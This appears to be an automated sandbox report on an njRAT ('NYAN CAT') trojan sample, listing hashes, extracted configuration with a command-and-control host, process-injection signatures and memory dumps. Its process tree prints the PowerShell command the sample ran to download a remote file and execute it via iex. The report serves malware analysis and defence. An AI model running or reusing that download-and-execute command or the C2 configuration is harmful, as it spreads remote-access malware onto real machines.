njrat | d173b9844be24a9172f2f2adcde3dd65090afa690b1bd952a7da01de33ad60ef

General

Target

d173b9844be24a9172f2f2adcde3dd65090afa690b1bd.exe
Size

4KB
MD5

b9a1c7dd8171afe0e3fc1524f5eafb18
SHA1

19b79357841b2bcb3438011f4c8e45f7278aeaa9
SHA256

d173b9844be24a9172f2f2adcde3dd65090afa690b1bd952a7da01de33ad60ef
SHA512

d57c9cf4a489dec1f8b17351173e1ffc202e454f214b85e132fbd5d8af2d4a611e50e1a7f85eb0dfce438539aaec3b143d1fafafbaa0def914f6401c5993da6d

Score

10^/10

njrat nyan cat trojan

Malware Config

Extracted

Family

njrat

Version

0.7NC

Botnet

NYAN CAT

C2

redlan.linkpc.net:5553

Mutex

3b407dd04ed042

Attributes

reg_key
3b407dd04ed042
splitter
@!#&^%$

Signatures

njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

6 3092 powershell.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 3092 set thread context of 3172 3092 powershell.exe AppLaunch.exe
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

3092 powershell.exe
3092 powershell.exe
3092 powershell.exe

flow	pid	process
6	3092	powershell.exe

description	pid	process	target process
PID 3092 set thread context of 3172	3092	powershell.exe	AppLaunch.exe

pid	process
3092	powershell.exe
3092	powershell.exe
3092	powershell.exe

Suspicious use of AdjustPrivilegeToken 34 IoCs

Processes:

powershell.exeAppLaunch.exe

description	pid	process
Token: SeDebugPrivilege	3092	powershell.exe
Token: SeDebugPrivilege	3172	AppLaunch.exe
Token: 33	3172	AppLaunch.exe
Token: SeIncBasePriorityPrivilege	3172	AppLaunch.exe
Token: 33	3172	AppLaunch.exe
Token: SeIncBasePriorityPrivilege	3172	AppLaunch.exe
Token: 33	3172	AppLaunch.exe
Token: SeIncBasePriorityPrivilege	3172	AppLaunch.exe
Token: 33	3172	AppLaunch.exe
Token: SeIncBasePriorityPrivilege	3172	AppLaunch.exe
Token: 33	3172	AppLaunch.exe
Token: SeIncBasePriorityPrivilege	3172	AppLaunch.exe
Token: 33	3172	AppLaunch.exe
Token: SeIncBasePriorityPrivilege	3172	AppLaunch.exe
Token: 33	3172	AppLaunch.exe
Token: SeIncBasePriorityPrivilege	3172	AppLaunch.exe
Token: 33	3172	AppLaunch.exe
Token: SeIncBasePriorityPrivilege	3172	AppLaunch.exe
Token: 33	3172	AppLaunch.exe
Token: SeIncBasePriorityPrivilege	3172	AppLaunch.exe
Token: 33	3172	AppLaunch.exe
Token: SeIncBasePriorityPrivilege	3172	AppLaunch.exe
Token: 33	3172	AppLaunch.exe
Token: SeIncBasePriorityPrivilege	3172	AppLaunch.exe
Token: 33	3172	AppLaunch.exe
Token: SeIncBasePriorityPrivilege	3172	AppLaunch.exe
Token: 33	3172	AppLaunch.exe
Token: SeIncBasePriorityPrivilege	3172	AppLaunch.exe
Token: 33	3172	AppLaunch.exe
Token: SeIncBasePriorityPrivilege	3172	AppLaunch.exe
Token: 33	3172	AppLaunch.exe
Token: SeIncBasePriorityPrivilege	3172	AppLaunch.exe
Token: 33	3172	AppLaunch.exe
Token: SeIncBasePriorityPrivilege	3172	AppLaunch.exe

Suspicious use of WriteProcessMemory 10 IoCs

Processes:

d173b9844be24a9172f2f2adcde3dd65090afa690b1bd.exepowershell.exe

description	pid	process	target process
PID 3672 wrote to memory of 3092	3672	d173b9844be24a9172f2f2adcde3dd65090afa690b1bd.exe	powershell.exe
PID 3672 wrote to memory of 3092	3672	d173b9844be24a9172f2f2adcde3dd65090afa690b1bd.exe	powershell.exe
PID 3092 wrote to memory of 3172	3092	powershell.exe	AppLaunch.exe
PID 3092 wrote to memory of 3172	3092	powershell.exe	AppLaunch.exe
PID 3092 wrote to memory of 3172	3092	powershell.exe	AppLaunch.exe
PID 3092 wrote to memory of 3172	3092	powershell.exe	AppLaunch.exe
PID 3092 wrote to memory of 3172	3092	powershell.exe	AppLaunch.exe
PID 3092 wrote to memory of 3172	3092	powershell.exe	AppLaunch.exe
PID 3092 wrote to memory of 3172	3092	powershell.exe	AppLaunch.exe
PID 3092 wrote to memory of 3172	3092	powershell.exe	AppLaunch.exe

C:\Users\Admin\AppData\Local\Temp\d173b9844be24a9172f2f2adcde3dd65090afa690b1bd.exe
"C:\Users\Admin\AppData\Local\Temp\d173b9844be24a9172f2f2adcde3dd65090afa690b1bd.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3672

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -c cd $env:tmp;Invoke-WebRequest http://79.155.175.45/verona.png -OutFile Error.png;gc Error.png | iex
2⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3092

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3172

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

memory/3092-139-0x0000027E04613000-0x0000027E04615000-memory.dmp

Filesize
8KB

Download
memory/3092-118-0x0000027E04580000-0x0000027E04582000-memory.dmp

Filesize
8KB

Download
memory/3092-119-0x0000027E04580000-0x0000027E04582000-memory.dmp

Filesize
8KB

Download
memory/3092-140-0x0000027E04580000-0x0000027E04582000-memory.dmp

Filesize
8KB

Download
memory/3092-120-0x0000027E04580000-0x0000027E04582000-memory.dmp

Filesize
8KB

Download
memory/3092-142-0x0000027E04580000-0x0000027E04582000-memory.dmp

Filesize
8KB

Download
memory/3092-122-0x0000027E04580000-0x0000027E04582000-memory.dmp

Filesize
8KB

Download
memory/3092-123-0x0000027E20470000-0x0000027E20471000-memory.dmp

Filesize
4KB

Download
memory/3092-124-0x0000027E04580000-0x0000027E04582000-memory.dmp

Filesize
8KB

Download
memory/3092-125-0x0000027E04580000-0x0000027E04582000-memory.dmp

Filesize
8KB

Download
memory/3092-126-0x0000027E04580000-0x0000027E04582000-memory.dmp

Filesize
8KB

Download
memory/3092-127-0x0000027E20620000-0x0000027E20621000-memory.dmp

Filesize
4KB

Download
memory/3092-128-0x0000027E04580000-0x0000027E04582000-memory.dmp

Filesize
8KB

Download
memory/3092-136-0x0000027E04580000-0x0000027E04582000-memory.dmp

Filesize
8KB

Download
memory/3092-137-0x0000027E04610000-0x0000027E04612000-memory.dmp

Filesize
8KB

Download
memory/3092-138-0x0000027E04616000-0x0000027E04618000-memory.dmp

Filesize
8KB

Download
memory/3092-158-0x0000027E04580000-0x0000027E04582000-memory.dmp

Filesize
8KB

Download
memory/3092-117-0x0000000000000000-mapping.dmp

Download
memory/3092-121-0x0000027E04580000-0x0000027E04582000-memory.dmp

Filesize
8KB

Download
memory/3092-143-0x0000027E04580000-0x0000027E04582000-memory.dmp

Filesize
8KB

Download
memory/3092-153-0x0000027E04618000-0x0000027E04619000-memory.dmp

Filesize
4KB

Download
memory/3092-154-0x0000027E04580000-0x0000027E04582000-memory.dmp

Filesize
8KB

Download
memory/3092-155-0x0000027E205C0000-0x0000027E205CB000-memory.dmp

Filesize
44KB

Download
memory/3172-156-0x0000000000400000-0x000000000040C000-memory.dmp

Filesize
48KB

Download
memory/3172-157-0x000000000040676E-mapping.dmp

Download
memory/3172-169-0x00000000088E0000-0x000000000897C000-memory.dmp

Filesize
624KB

Download
memory/3172-159-0x0000000000040000-0x0000000000041000-memory.dmp

Filesize
4KB

Download
memory/3172-160-0x0000000000040000-0x0000000000041000-memory.dmp

Filesize
4KB

Download
memory/3172-161-0x0000000000040000-0x0000000000041000-memory.dmp

Filesize
4KB

Download
memory/3172-164-0x00000000089F0000-0x00000000089F1000-memory.dmp

Filesize
4KB

Download
memory/3172-165-0x0000000008F90000-0x0000000008F91000-memory.dmp

Filesize
4KB

Download
memory/3172-166-0x0000000008BF0000-0x0000000008BF1000-memory.dmp

Filesize
4KB

Download
memory/3172-167-0x0000000000040000-0x0000000000041000-memory.dmp

Filesize
4KB

Download
memory/3172-170-0x0000000008BA0000-0x0000000008BA1000-memory.dmp

Filesize
4KB

Download
memory/3672-115-0x00000000008B0000-0x00000000008B1000-memory.dmp

Filesize
4KB

Download

Analysis

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